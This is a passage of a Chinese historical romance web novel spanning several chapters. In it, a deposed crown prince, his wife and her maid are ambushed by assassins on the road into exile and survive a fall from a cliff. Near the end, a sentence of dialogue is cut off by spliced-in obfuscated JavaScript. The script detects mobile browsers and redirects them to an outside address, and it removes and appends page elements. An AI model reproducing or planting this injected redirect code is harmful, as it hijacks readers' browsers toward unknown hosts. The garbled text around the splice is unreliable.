“圣上仍记挂着你呢。知晓你身上有伤,担心再磕着碰着不利于养伤,特地为不日的行路配备了轿撵呢。” 李公公这番话说得妙,说到底不过为保全皇家面子罢了,若真担心,太子就不会是这般处境。江知雪内心忍不住腹诽。 沈思安直起身,严肃庄重地三行稽首,复又低下头颅,双手举过头顶,恭敬接旨。 几乎是圣旨入手的瞬间,他的双手就开始止不住颤抖,并越发剧烈,铁链哗哗作响。 圣旨在他手中乱晃摇摇欲坠,一旦落地,便是忤逆圣上,大不敬之罪,后果不堪设想。 江知雪心乱如麻,贸然过去怕是得罪李公公,放任不管只怕太子罪加一等,她与云双亦难逃其咎。 左右都是死,江知雪思来想去索性心一横,几步膝行至沈思安身边,双手接过他手中圣旨,跪伏在地,额头紧贴地面:“废太子沈思安及妻江知雪领旨,谢陛下体恤,吾皇万岁万岁万万岁。” 李公公看在眼里,记在心里。他点了点头,未怪罪江知雪的僭越:“嗯,都起来吧。” 江知雪搀扶起沈思安,就见李公公缓步朝他们走来:“三日后启程,诸位可要收拾妥当。”又不动声色,在金吾卫看不到的角度小声对江知雪道:“此行危险重重,切记护太子周全,亦要保自身安危。” 江知雪躬身行礼,眸中带着感激,声音却如常道:“多谢公公提点,一切定当收拾妥帖。” 三人恭敬将一行人送走。 江知雪面色凝重起来,危险重重是什么意思?他们一路皆走官道,又有官差狱卒随行,她能想到最危险的事就是缺衣缩食,挨冻受饿。 她抬头看向身侧之人,月余的悉心照料,他的脸颊已经长了些肉,比之从前多少好看了些。 可他似乎从没有情绪变化,一直都是冷冷清清的模样,如林中瘦竹,清萧孤傲。 就像现在,她盯了他这么久,他依旧面不改色、视而不见。 江知雪嘴唇嚅动,声音轻得似一阵微风:“殿下,方才李公公说‘此行危险重重’,您……是否知道些什么?” 不怪她多想,除了谢怀清,她从未结识其他人,以谢怀清的品性,绝不会行恶。李公公是深宫里的老人,见多识广,他说危险,必定事态严重。 沈思安眼睫微颤,他偏过头,右眼处红紫纹路在阳光下显得浅淡,一双没有感情的眸子望向江知雪,点了点头。 他的动作实在太轻,若非江知雪一瞬不瞬地看着他,根本无法察觉。 与此同时,一股巨大的惊喜涌进她的心中。相处月余,无论她对他说什么做什么,他都充耳不闻,宛如一块木头。若非明大夫再三向她保证太子无有大碍,她都要怀疑他是不是脑子出了毛病。 这是他第一次回答她的问题,虽只是微不足道的一个点头,却足以令她欣喜好久。毕竟往后漫漫长路,若和他一直没有交流,那该如何坚持下去? “会有什么危险,我们能否提前做些应对之策?”江知雪乘胜追击。 身侧之人却又没了反应,只不管不顾地往前走,徒留江知雪内心煎熬。 沈思安从一开始就打定主意,等到出城便将这位三小姐送走。她是良善纯净之人,理应有更好的人生,而不是过这种流放艰苦的生活,被卷进看不到未来的泥潭。 明澜已在屋内候着,三人一进门,他就跳了出来,脸上写满了兴奋和期待:“三日后出发,我可以随你们一起吗?”他先是小心地看了眼沈思安,见他没什么表示,继而放心大胆地望向江知雪。 江知雪脑子里乱糟糟的,并未注意到明澜的小动作,只疑惑道:“你不是在亲戚家帮忙看诊吗?京城繁华富贵,何苦与我们一起遭罪。” "眼下药铺已不需我帮忙了,再住在那里平添麻烦。何况我此前遍访名山大川,京城再好,我也不会长久居住。” 明澜看着江知雪明显不赞同的神色,又补充道:“听闻北陵山高地阔,雪漫四野,我还未曾去过那里,早就想一睹为快。所谓‘独乐乐不如众乐乐’,沿途风景当与朋友共赏才算有趣,我在京城就只认识你们几个朋友……所以知雪姐,求你了!" 自打那次江知雪请他在屋里用饭后,明澜便时不时过来蹭饭,言行举止也渐渐变得与之前有所差别,按云双的说法,就像变了个人似的。 若说初次相见,他表现得沉稳自信,胸有谋略,大道理一箩筐,往后便是行为跳脱,言语幼稚,宛如孩童。 就像现在,他目光委屈,说的情真意切,句句都是对北陵的向往和同行的渴望。 江知雪在他喊出“姐”的时候就被震惊了,她嘴角抽动,起了一身鸡皮疙瘩,眼睛瞥向沈思安,只觉得尴尬无比。 她不应觉得太子有问题了,分明明澜脑子更有问题吧。 而沈思安再也忍受不了明澜的故作仪态,觉得他太不要脸,独自行动缓慢地回了房。 “打住打住!我家小姐多大,你多大?能这么喊吗?”小姐才及笄不到一年,敢叫她姐,云双第一个不同意。 江知雪接过云双的话,委婉拒绝道:“方才李公公说此行危险,不知会遇见什么,我怕连累了你。” 明澜对云双讨饶得笑笑,又向江知雪打包票:“放心吧,我游历得多,对危险的感知灵敏着呢,兴许还能帮上你们的忙。” 江知雪眼里有光闪过,她正愁着该如何应对路上未知的危险,面前的明澜或许知道该如何防患于未然。但她的良知不允许她答应:“可周围都是官差随行……” “我在下个官道驿站等着你们。”明澜抢着回答。 对方似乎铁了心地要同行,江知雪无法,只好同意,语气哄小孩似的:“你若真要去,我们也拦不着你,只是如若遇到危险,一定要保护好自己,不用管我们。” 明澜点头如捣蒜,显而易见地高兴起来:“那我先回去收拾东西?” “稍等,我想问问你,一般遇到危险会是哪种危险,可有什么应对之策?”江知雪往前走了几步,轻声问他。 明澜沉吟片刻,脸色严肃起来,先前的跳脱劲儿仿佛不存在他身上似的:“轻则破财,重则身死。” 一句话,江知雪听得是心惊肉跳。 “应对之策嘛,当是没有的。危险不可测,一切瞬息万变。身处危险之中,最需要的就是一个聪明的脑子。” 眼看三小姐被他说的呆愣住,明澜从药箱中摸出一长颈大肚瓷瓶,又递给她一把裹着刀鞘的匕首,神神秘秘道:“方法没有,但物件还是有的。那瓶子里是三倍剂量的迷药,沾上一点便能昏睡一整天。至于这把匕首嘛……”他示意江知雪抽出。匕首通体漆黑,刀口锋利,似有寒光乍现。 明澜接着说道:“这把匕首可削铁如泥,若遇上生命危险,可用它放手一搏。”他的眼底有狠厉一闪而过。 江知雪双手紧握匕首,抑制从内心深处发出的颤抖。 明澜将药瓶递给云双,朝江知雪挥了挥手:“放心吧,有我在,不会有危险的 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果然交流这件事,有了第一次便会有第二次,往后更会有很多次。江知雪心里又欢喜起来,面上却不动声色:“那里怎么了,是有什么东西吗?” 沈思安轻轻点了点头。 江知雪过去,从里头拿过来一个包袱。 “需要拆开看看吗?” 他又点了点头。 江知雪小心翼翼地打开结扣,就见包袱里装着三件衣物,与她和云双常穿的一件一模一样,剩下一件则是此时太子身上所穿那件。 “这是?”江知雪云里雾里。 沈思安不答,只用手指指那三件衣物,又指指桌上摊开正在整理的包袱。 “这三件也放进去?” 他继续点头,走过去指向已经叠好的那两件常穿的衣物。 江知雪误以为太子嫌弃她叠得不好,面色有些尴尬道:“重新整理吗?” 沈思安摇头,他微张开嘴,似想说些什么,随后又敛目,重新指向衣物,再指着她的身上。 “换这件?”江知雪挠挠头,声音带着不确定,心里也打起了鼓,要是还不对,惹怒了他怎么办。这般想着,脑子里便出现了沈思安竖眉冷眼的样子。 好在这次她是对的,心里不禁松了口气,拿了那件衣裳就准备去换。 可沈思安仍旧站在那儿看着她。 江知雪忽然福至心灵,总算明白了他的意思:“您的意思是明日我们都穿与这包袱中相同的衣服?” 沈思安点头,之后便不再回应,只沉默地看着她和云双收拾。 好几次,他的内心都有一股冲动,催促着他上前帮忙。可昔日高傲尊贵的太子不会这么做,双手被废的他也不能这么做。 太阳逐渐西沉,余晖钻过窗户洒在屋内,碎金一般,从地面移至斑驳墙面,最后被黑暗吞噬。 明澜踏着夜色悄然而至。 因沈思安状况已经大好,为避免尴尬,江知雪早早地搬去了另一间屋子。 明澜着一身黑衣劲装,脸上带着肃杀,声音透着冷意,一改往日不着调的样子:“明日官道岔口星涯坡,两伙死士杀手。我等已提前准备好,届时你先这样……” 阴谋与诡计在黑暗中蔓延,搅动着无边夜色。微风划过天空,将厚重云层推向新月一点。 三月初二,宜祭祀纳彩,忌出行。 天光大亮,门户大开。院外官兵牢牢把守各出入口。今日是他们当值的最后一天,每个人脸上都洋溢着高兴。 马蹄踢踏与车轮滚动声从远处传来,随行官差数十人,皆穿官服,面容严肃。 无一人说话,四下安静。 三人迎着晨曦迈出大门,踏上车轿,未回头再看一眼。 22. 行路难(二) 马车三面皆被木板封死,三人进入车厢,车门也被从外锁住。 云双内心惴惴不安。从小的流亡奔命,在太多狭小幽闭之地求生存,每时每刻担心着自己会不会死掉,她害怕了那种日子,亦害怕了这样的环境。 她的双手交叠放在腿上,紧紧握住,身体不自觉靠向自家小姐。 江知雪觉察出了她的害怕,默默将手覆到她的手上,轻声说:“我在呢。” 云双抬头,就见小姐眸带安慰,温柔笑看着她。她仿佛受到鼓舞,眼里现出勇气,用力应道:“嗯!” 沈思安闭目静靠在车壁,一头枯燥长发仅用月余,便又乌黑柔顺起来,被一根简单木簪固定在头顶。 他鼻梁高挺,棱角分明,一对眉毛剑锋一般,泛着冷意,倒是与他的个性相称。 他就这么坐在这儿,逼仄压抑的车厢里,穿着一身没有任何修饰的粗布衣,便活脱脱的似一个不问世事的谪仙人。 不过他今日戴了面具,银丝细纹,遮住了他的右半边脸,或者说遮住他脸上的纹路。 铁定是明澜弄来的,也只有他有这份闲心做这样的事。江知雪另一只手托腮,因沈思安闭眼而放心大胆地细细端详着他,目光凝在他的面具上。 她曾以为那些纹路是胎记,心里纳罕,自古以来面容有损者不可入朝为官,天潢贵胄亦如是,遑论入主东宫,未来天子。 但想到他过去在百姓间的评价和建树,圣上破例也无不可。这解释虽牵强却也合理,江知雪以此说服自己的好奇心。 直到一次明澜携酒过来蹭饭,喝得醉醺醺时向她透露,沈思安的脸上不是胎记,而是被人下了毒。 那毒极为霸道稀奇,起先不过星点大小,随着时日加深,蔓延生长。观他情形,多半这些年里一直服用,只怕之后会愈发严重,就算是他也束手无策。说这些时,明澜一直在观察江知雪的神色。 相对无言,江知雪神思游走,透过木板缝隙看向外面。 云街因货居琳琅、异宝奇珍、往来人士云集而得名,向来热闹非凡。 马车在云街缓缓行驶,四周却听不见多少人声,江知雪贴近车厢壁,自缝隙望去,整个街道冷冷清清的,见不到多少人影。 “今日这条街怎的这般冷清?”外面有人冷不丁地开口,想江知雪心中所想,着实吓了她一跳。似乎是随行官差。 另一道人声咋咋呼呼道:“还能怎的,今日春闱放榜,广平侯府嫡次子一举夺魁,听说路过哪里赏钱就发到哪里,所有人都跑去凑热闹了!”他的声音听起来颇为不平。“还有,你说话能不能不要一惊一乍的,想吓死大家伙啊!” 其他人纷纷附和,最先说话的人哈哈笑着,嘴里说着讨饶的话。 江知雪身形一僵,只是瞬间,“谢怀清”这三个字便在她心中呼之欲出。 没想到再次听到他,是在押送他们的官差口中得知他中了榜。 这段时间发生了太多事,她几乎不再想到他。眼下细细想来,距离与谢怀清最后一次相见分明才过两个多月,她竟觉得一别经年,顿生万分惆怅。 “可惜喽,咱们揽了这么个破差事,风餐露宿的,啥热闹都凑不了喽。”又有人酸溜溜地说着。 “我看你就是想赚几个赏钱吧。不过话说回来,王大哥你是怎么知道那个什么嫡次子中状元了?咱们不是一大早就去了那鸟不拉屎的地儿,难不成……” “可别乱说,可别乱说。”先前咋咋呼呼的王大哥急忙打住那人疑似意有所指的话,底气不足道:“平时叫你们耳听六路眼观八方来着,一路过来,街道上的人都脸带兴奋行色匆匆的,傻子都看得出来。” “可……”似乎有人提出质疑,但只说出一个字便没了声。 王?刑部侍郎王士诚。沈思安依旧闭着眼,大抵知道了那位王大哥的身份。 江知雪还欲再听,那些官差却已转了别的话题。 隐隐有乐声传来,由远及近,锣鼓喧天,听着格外喜庆。 春风得意马蹄疾,一日看尽长安花。 衙役举着“状元及第”的牌匾开道,左右两侧护卫随行,后头是吹奏的乐班。 谢怀清一袭红罗袍,披红挂彩,头戴乌纱,金花插于帽檐,骑乘在高头大马上,拱手感谢两旁百姓的祝贺,脸上是一派意气风发。 丫鬟小厮一路发着红封,上书“金榜题名”、“步步高升”。 鲜花载道,人声鼎沸,人人都说着吉祥艳羡的话,楼上街道姑娘们将篮中鲜花向他身上抛去,含羞带怯。 官差疑惑道:“你们听见锣鼓梆子声了吗?谁家喜事?” 王大哥得意道:“还能有谁?状元郎跨马游街,就隔壁呢。” 云街已陆续有人经过,脸上都带着高兴的色彩。像是为了验证他的话,有女子从旁走过,声音掩饰不住的激动:“谢郎君真是风度翩翩风流倜傥啊,长得好看文才又好,我还从没见过这样好看的男子。” 与她同行的女子泼她冷水:“欸欸欸,他那样的人可是要往上走的,柳丞相已与他订了亲,你可别肖想了,仔细柳小姐撕了你的皮。” “可不止我一个人这么说,怎么?难道你不心动吗?” “我看你就是油嘴滑舌!”二人嬉笑着远去。 江知雪极力从缝隙向邻街望去,可商铺林立,如何看得见对面情形。 她仍记得谢怀清曾多次告诉她自己的抱负和理想,也记得除夕前夕自己祝愿他金榜题 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此等暧昧情形,激起围观人群一阵唏嘘起哄,柳微竹的虚荣心得到了满足,一时得意忘形,问了句听起来不太相干的话:“谢朗方才在看什么?” 谢怀清知道她指的是什么,不甚在意回道:“邻街路过的一辆马车,不值一提。” “可是有官差随行?”谢怀清本想绕过这个话题,赶紧带她离开。对方却不依不饶:“今日是废太子流放之日,算算时间差不多到云街了。那多半就是废太子和三小姐的流放车驾。”柳微竹将“三小姐”和“流放”二字咬得极重。 谢怀清仍旧笑着,一派和气的样子,声音维持着温柔,仿佛真的不在意:“竟是如此。”藏在袖中的手却是握得死紧。 他抬头望了望天,太阳高悬,炽热炫目:“是在下疏忽,让柳小姐久等。时辰不早了,不若在下送你回去。” 柳微竹本意也不过试探,刺他一刺,见他对三小姐一事无动于衷,又说送自己回去,心中大喜,脸上浮现出红晕,声音娇羞,却依然高傲:“既如此,便依谢郎所言吧。” 谢怀清无言转身,未再多看柳微竹一眼,重新跨上马背,在前头为她开路。 马车“咯吱咯吱”地碾过路面,官差将路引文书递给城门守卫,待其一一细看查过,归还给他,便放了行。 此去一别,不知何日是归期。或许很快回来,或许永远回不来,一切藏在波涛汹涌之下,尚未可知。 江知雪心中隐隐不安,只觉前路艰险,困难重重。她目光扫过云双和沈思安,小心抚上怀中匕首,暗下决心,一定护好他们,车中三人,一个都不能少。 23. 行路难(三) 路面由砖石转为泥土,因走的官道,循着前人的车辙印,颠簸得并不厉害。 江知雪却觉得难受,一颗心都要被晃出来。 随着离京城越来越远,视野渐渐开阔起来。沿途树木高耸,枝条抽出新芽,两旁漫地生长着一茬茬才破土的野花野草,入目皆是浅碧色,万物都是新样子。 空气中弥漫着草木清新的气息,透过木板缝隙飘进车厢,林间不时传来几声悦耳鸟鸣。 江知雪呼吸着鼻尖清新空气,只嗅得满腔铁锈味;听着耳畔鸟雀的悦耳歌喉,却只闻得尖锐诡异声。已然一副惊弓之态。 随行官差在外面谈天说地,扰得她思绪纷乱驳杂,宛如漂荡在河中的浮木,落不到实处。江知雪不自觉攥紧了怀中匕首,感受着它的轮廓,以此寻求心安。 一旁的云双也好不到哪里去,两人皆是一脸担惊受怕的样子,像两个知晓了自己凄惨命运的待宰羔羊。 沈思安本不欲理会,他们不会同路,再过不久,便要分道扬镳,或许此生不复相见。 他正欲别过眼,视线却瞥到了江知雪握住怀中之物、尚在颤抖的手,看抓握姿势,当是前几日明澜赠她的匕首。 脑海中不禁浮现自己幼时第一次习武的情形。密林树木高耸,一片漆黑,周身群狼环伺,眼里闪着绿光。 他能依靠的只有自己和那把匕首。他害怕得浑身颤抖,靠着双手紧紧握住匕首缓解心中恐惧。 眼前的江知雪与当时的他何其相似。沈思安心中划过一丝动容,思虑良久,用左手敲了敲身下木座,平静注视着她。 江知雪循着声音望去,脸上是如梦初醒的迷茫。她的目光从沈思安的左手一寸寸上移,直到他的眼神落入她的眼里,冻得她灵台瞬间清明。 江知雪内心隐隐觉得,他的眼神似乎变了,准备再细细分辨,对方双手有了动作。 腕处铁链随沈思安的动作晃动,清脆撞击声中,他左手指了指自己,随后伸开五指,掌心朝下,右手握拳覆在左手手背,最后又指了指她。 他的动作并不熟练,甚至可以说是格外生疏,脸上仍然面无表情,却能感知到他做的认真。 这是沈思安第二次主动同她说话,与第一次的鸡同鸭讲不同,江知雪认出了这次是手语,是真的在与她沟通。可她并不能看懂。 她突然想到从前,街头巷尾人人都称颂,太子殿下三岁便过目不忘,出口成章,七岁辩倒议事院一干朝臣,是天纵之才。可现在,他一番手语做得磕磕绊绊,牢狱近半载,不知从何处习得。 一阵心酸涌上心头,他所承受的比她苦得太多。 沈思安定定地看着她,看她脸上浮现出歉意和尴尬,恍然明白了什么。 他复又伸出手,掌心朝上,向江知雪右手探去。 江知雪亦懂得了他的意思,将手摊开,虚虚放在他的掌心上。 沈思安的手掌宽大,指节细长,指腹与虎口处有一层厚厚的茧。只见它快速翻转,以指为笔,在她手中落下。 他的动作很轻,一笔一划写得缓慢。江知雪仔细辨认着,手心传来酥酥麻麻的痒意,她的脸也渐渐染上了红色。 一笔落定,沈思安抽回手,重新靠上车壁,等待江知雪的回应。 他说的是“别担心”。江知雪反复回味着这句话,虽知他先前动作表达的并不是这个意思,心里还是涌上一股暖流,内心深处的恐慌亦被抚平些许。 她对上他的目光,眼中不再是从前对视时的躲闪,里头盛满了感激:“谢谢你。” 江知雪已经改掉了对沈思安的敬称。几日前明澜曾隐晦提点她,言沈思安已被废黜,这样称呼不太合适。江知雪当时怎么想的呢?她觉得于礼不合,亦认为若是因被废而同外界一样对他奚落贬损,只会给他平添难过。 在出发前改了称呼也是同样的原因:敬称唤他易招人非议。可现下想来,那一声声的“殿下”何尝不是在往他心口戳。 她默然片刻,眸中带着坚定,嘴唇轻启:“我会尽我所能,保护好你们的。” 沈思安闭上眼,不再应答。 云双在一旁看着他们二人的互动,又听到小姐这么说,心疼得无以复加,先前被小姐压下去的对废太子的不满,又冒尖钻了出来,看着他口不能言手不能提的样子,更是生了几分怨怼,只觉得他拖累了小姐。 马车一路晃晃悠悠,外头景色几经变换,草木渐渐稀少,裸露在外的石头形状各异。日头已挂中天,鸟雀虫蚁早早寻了树荫躲凉快。 “真他娘的,这天怎的这么热?”官差们额头冒出细汗,正口干舌燥,大口灌着水,嘴里骂道。 有年轻的刚调任的官差支撑不住,虚弱问道:“咱们还有多久到驿站啊?” “前面就是星涯坡了,过了这个坡就走了一半的路了,兄弟们都加把劲儿啊!”王大哥开始给大家打气。 “什么?还有一半的路!”此行的官差,大部分是其他职位一眼望到头的人,虽路途艰苦,但成事后朝廷会特许嘉奖,大家都想凭这份差事出人头地。他们几乎皆是第一次不间断走如此长时间的路,一时怨声载道。 他们不敢说皇宫,不敢骂上司,也不敢抱怨队里的前辈,便将火气全撒到沈思安头上。 奚落的、恶毒的、不入流的......各种各样难听的话从他们嘴中说出,说他□□暴虐、断袖不举,笑他废人一个、苟活于世,咒他生、咒他死、咒他生不如死。 那些前辈常年带新人,习惯了他们现在刚吃苦头的态度,等过些天人就老实了,并不打算阻止。 话语肮脏不堪入耳,江知雪眉头皱紧,胸口剧烈起伏,气得眼前发黑,若不是云双拉着,她估计就去要去与他们辩驳了。 云双却极不平衡,小姐从前哪里听过这些污言秽语,更不会想着与这等粗俗之人争辩。她觑了沈思安一眼,见他好整以暇地闭着眼,左手置于腿上有规律地轻轻叩击,越发替小姐委屈。 江知雪也注意到了他的不寻常,上次与他沟通,他的手指颤抖得厉害,几乎无法伸直。前几日接圣旨时,也快要拿不住。但今日他在她手中写字,力道虽轻却稳重,包括现在他手上动作,全然不像手有重伤的样子。 江知雪心下大喜,火气也消了一半,“你......”她顷身向前正待询问,沈思安倏然睁眼,一掌将她推开,伴随着她错愕的表情、云双惊慌的大喊,破空声从马车后方传来。一支利箭穿透木板,从车厢中间直直向前射去,连破两道木门仍未停歇,“噗呲——”,是刺穿血肉的声音,前头驾车官差应声倒地。< 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几名黑衣人已越来越近,眼看沈思安就要被伤到,他还呆愣愣躺在地上,江知雪忍不住大喊:“小心!” 在武器抵触沈思安命门的前一刻,他迅速往旁边一滚,锋利剑刃堪堪擦过衣裳,劈到地上,激起一片尘土。 他看向肩处衣物破口,眉头微皱。到底是牢狱和床上躺了太久,身体素质大不如前,竟躲不开如此破绽的一击。 黑衣人一击不中,出招越发凶狠。 沈思安迅速起身,继续闪躲,每一个动作皆是对方快要得手时才堪堪躲过,一派悠然自得的模样。激得黑衣人双目赤红,战斗欲愈发强烈。 倒不是沈思安有心如此,他向来讲求速战速决。只眼下人多眼杂,不便过多暴露自己,只好采取迂回战术拖延时间,等待明澜他们过来。 江知雪这边,在她提醒完沈思安后,便有一黑衣人向她们靠去。 江知雪将云双护在身后,双手握着匕首,刀尖对着黑衣人,抖动得厉害。 她一步步小心往后退去,眼里惧是惊恐,面上惨白一片,哆嗦着嘴唇,颤音警告道:“你别过来,你再过来我就杀了你!” 那黑衣人上下打量着面前的小人儿,眼中戏谑味尽显。他并不急着杀了她,颇有种猫逗老鼠的意味,一步一步缓慢逼近,玩弄笑道:“那就跟爷比比看,是你的小刀快还是爷的长剑快了哈哈哈哈哈!” 脚下碎石滚落,身后已是陡坡。云双在身后抓着她的衣服,抖若鹌鹑。 黑衣人已近在眼前,江知雪心一横,将手中匕首向前刺去,紧紧闭上双眼。一颗小石子咕噜噜滚到她脚边,下一瞬,有什么东西扎进匕首,温热液体沿着刀体流了她满手。 云双已经尖叫起来,江知雪立刻睁开眼,看清眼前状况时,大脑一片空白。黑衣人嘴角溢出鲜血,大睁着眼看向她,用尽全力缓慢举起手中剑刃,还欲再刺她。 她心中慌乱,腾出一只手将人往后推去。匕首被抽出,血液喷洒出来,溅了她满身满脸。那人仰倒在地,长剑掉落一旁,再无动静。 江知雪这才似梦初觉,她望着自己双手艳红,尤还残存着温度,眼泪扑簌簌落下来。 24. 行路难(四) 眼前一片狼藉,随行官差几乎全部殒命,血色蔓延,混着尘土,浸染了这片山坡。 沈思安力有不逮,已落于下风。黑衣人面露凶光,一记长剑横扫,挑开他的面具,他顺势往后仰倒,摔在地上,面具掉落一侧。下一瞬,剑尖直抵他脖颈而来。其他黑衣人见状,紧跟而上。 模糊泪眼里,江知雪见数名黑衣人将沈思安压住,令他动弹不得,其中一人高举手中利剑,就要向他刺去,心脏都停止了跳动。她什么都没想,也未及去想,奋力朝他奔去。 却忘了身后云双,正哭喊着唤她:“小姐!” 余下几个黑衣人正解决掉最后一个负隅顽抗的官差,听见坡边动静,一个落单的丫鬟和似要跑路的小姐,当下便朝她们冲过去。 沈思安见状,费力侧过脸面向她,口中无声说着:“快走!” 江知雪脑中一团浆糊,恍然有一丝清明,竟看懂了他的话。她似有所感,转头望去,黑衣人近在咫尺。 本欲追上自家小姐的云双此时也再次被逼至坡边,手无寸铁,只得无助哭泣:“不要,不要过来......” 大难临头,插翅难飞。江知雪全然忘了自己手握匕首,或可一搏,唯能想到这两个词。 她下意识闭上双眼,心中是对云双和沈思安的愧疚,以及对阿娘和李婶的想念,已然作诀别之意。千钧一发之际,数枚铁镖裹挟着风声“嗖嗖”而来,几乎瞬间,江知雪等人命运的刽子手挨个倒地,过了几息,伤口才汩汩流下血液。 剩下幸免的黑衣人深知不妙,轰然散开。不同方向竟又窜来两波黑衣人,双方相见,皆面露惊讶,而后不由分说厮杀扭打在一块。另有几人朝第一波黑衣人袭来。 局势霎时反转,江知雪反应迅速,连忙跑去扶起沈思安,带着他往后退,嘴里不忘关心问道:“你没事吧?” 沈思安摇了摇头,看向前方打斗的黑衣人,不知和谁不动声色地使了个眼色。 那人会意,提剑就往他们而来。与他打斗的黑衣人瞧见,也立时动身,欲要阻拦。更多的黑衣人随之动身。 两拨人一齐乌泱泱朝着他们走来,沈思安闭了闭眼。明澜怎么会找这个不靠谱的家伙。 江知雪见此状况,心中警铃大作。她向身后看了一眼,不过一个陡坡,尽处还有三尺宽的缓坡,而黑衣人已来势汹汹了。 她回身冲云双喊道:“云双,跳下去!”随后拽着沈思安就往下跳。 沈思安完全没料到会有这一出,竟真的被拉着同江知雪一起滚下陡坡。云双紧随其后。 星涯坡植被浅少,星星点点落于沙石土上。江知雪怕硌坏了大病未愈的娇弱太子,双手护着他,任凭沙石刮蹭自己。 天旋地转中,他们二人相拥,在缓坡停下。本应如此,却不知如何棋差一招,他们至缓坡边缘才将将停下,沈思安更是生生摔了出去。 天地似乎都静了,鸟雀不语,山石寂默,坡上黑衣人中有人窃喜,有人心惊,竟无一人敢下去。江知雪只闻得一颗心脏“扑通扑通”跳着,手比思考更快反应,急急抓住了他。 坡边烈风呼啸,崖下墨色浓郁,望之不可见底。若从这摔下去,定是粉身碎骨。 可此处荒凉,一览无遗,毫无抓握之物,况江知雪一女子,如何拉得动比她高得多的成年男子。 身体被拖拽着逐渐向前移去,身下尖锐石子割破衣裙,她的一张脸涨得通红。 沈思安抬头,眸底一片冷静,没什么血色的嘴唇微动,无声道:“放手。”悬空的另一只手顺势举起,欲拨开她紧紧抓住的双手,但力气如同挠痒。 江知雪可没空再看他说了什么,瞧他手上动作,大声斥责道:“你疯了吗?” 已有碎石沿着边缘滚落,扬起灰尘一片。恰逢云双从坡上下来,江知雪想都没想,切切道:“云双,快来帮忙!” 彼时云双衣裳凌乱,破损处有斑驳血渍,乱石划破的伤口还泛着疼。可小姐竟连看都未看她,反而唤她帮废太子,内心止不住涌起一阵委屈。之前自己破了点皮小姐都会关心好久,多麻烦点她都要再三道歉。 她瞥了眼崖边的沈思安,张嘴发不出一个声,抬手拿不了一件物,孱弱枯瘦,面如恶鬼,听明大夫说那纹路日后或会蔓延整张脸,那时就真是恶鬼一个,如何配得上小姐。 再看小姐,满身被刮蹭的伤口,破碎的衣裙沾着血迹和灰土。前不久才因他而受了伤,如今更是连命都快搭上。若不是因为废太子,她的小姐怎至于沦落至此。 云双嘴上焦急应着,脚下动作却缓慢。她装作一瘸一拐,向小姐靠去,期间甚至故意摔了一跤。 江知雪已快力竭,额上汗珠流动,砸向尘土。她几乎半身悬空,声音里带着沙哑和疲靡:“云双,快……我快要……坚持不住了!”她又向前滑动了几分。 嫌恶的情绪快要把云双淹没,她恍惚一瞬,这才注意到小姐现下处境已岌岌可危,忙慌不择路扑过去,抓住小姐手腕,并颇为隐蔽地使着巧劲,想让小姐放开沈思安的手。 江知雪未觉出异常,但沈思安何等敏锐,他不着痕迹地看了她一眼,眼中难得是罕见的复杂。却也顺了她的意,手中再次挣扎起来。 天不遂云双之意,本就精疲力尽的江知雪竟随沈思安一同坠了下去。 耳边风声烈烈,入目深木葱茏苍翠,不时有鸟从低处飞起,掠过身边。某一刻,江知雪觉得自己飞起来了。 可强烈的失重感使她头晕,提醒着她就要死去。 下坠的速度越来越快,强风拍过,她已睁不开眼,最后一幕所见是快要触及的繁茂枝叶。下一刻,她穿过叶丛,落入一片柔软。 江知雪缓缓睁眼,身下竟是一张细密的织网。身侧沈思安比她先一步落下,此刻仰面躺倒,正一瞬不瞬地盯视着她。 她心中担忧,忙撑起身子欲发问,赫然发现自己一只腿正架在他身上,当下大惊,面红耳赤着急急挪开:“抱歉,我不知道……” 沈思安摇头,亦撑起身子,抬头往上看去。 他们所处已至山崖中段。 巨大的古树斜伸出枝杈,繁叶随着风摇晃,晌午的高阳都照不进这片幽深。 织网两角由铁链洞穿固定于山石之中,另两角栓在古树上,罗织的网丝不知由何制成,两人那么高的地方坠落,竟仍坚固如旧。 江知雪顺着沈思安的视线望去,忽然一阵眩晕,昏了过去。 星涯坡上,黑衣人眼睁睁瞧着他们摔下去,直至再也看不见。 有人弱弱出声:“他们这是……死了吧?” “这么高的悬崖掉下去,自古以来还没有活着上来的人。” “那我们还打吗?” “弄死那个小娘们就结束。”有黑衣人朝坡边努努嘴。 一群人视线移向哭得肝肠寸断的云双。 云双后知后觉,眼含热泪,僵硬地转过头,就见那些人对她虎视眈眈,心底拔凉,绝望地跟着跳了下去。 所有人惧是一惊,随后有人哈哈大笑起来:“哈哈哈哈哈,既然目标都解决了,各路大侠好汉,咱们就各回各家吧!”原以为要拼个你死我活,谁承想一个个地都自己跳崖了,活不用干赏钱还拿了,真是得来全不费工夫啊。他招招手,示意手下们撤退。 第三拨黑衣人却是将剑一横,拦住了他们的去路:“谁允许你们走了?” 方才大笑的黑衣人目光一凛:“这是什么意思?你们与我们同行,皆是奔废太子等人而来,眼下既不废兵卒地除了他们,何不如高高兴兴回去拿了赏钱。咱们就此大路朝天各走一边,也省得弟兄们受伤受苦。” “上头说了,所有人格杀勿论,我也很难办,只能多有得罪了。”被沈思安称为不靠谱的家伙眼神玩味,音色古怪道。 那领头黑衣人声音里掺了寒意:“看来阁下是存心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436457|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不让我们好过了。既如此,也不必留情面。兄弟们,上!” 一群人又打了起来。 云双惊恐的叫喊响彻山谷,越来越快的下坠速度却在古树前缓了下来,如同被谁无形托了一把,复又恢复原状。 只听“嘭”的一声响,枝叶剧烈摇晃,铁链颤动,云双“诶呦”着从织网中站起身,因悲痛和恐惧的泪水犹挂在脸上。她举目四望,竟见崖壁处有一洞穴,阴风阵阵从里头传出。沈思安正站在洞口,面无表情地看着她。 “小姐,小姐呢?”云双焦急询问,慌乱地摇摇晃晃往洞口爬去。 沈思安侧身让她进去,意思不言而喻。 云双三步并作两步跑过,总觉得他的眼神淬着冰。 洞穴并不大,外界的光线照进,显得一派亮堂。 江知雪只身躺在地上,额上大汗淋漓,眉头轻蹙,不安地乱动着。云双上手去摸,却只觉一片冰凉。 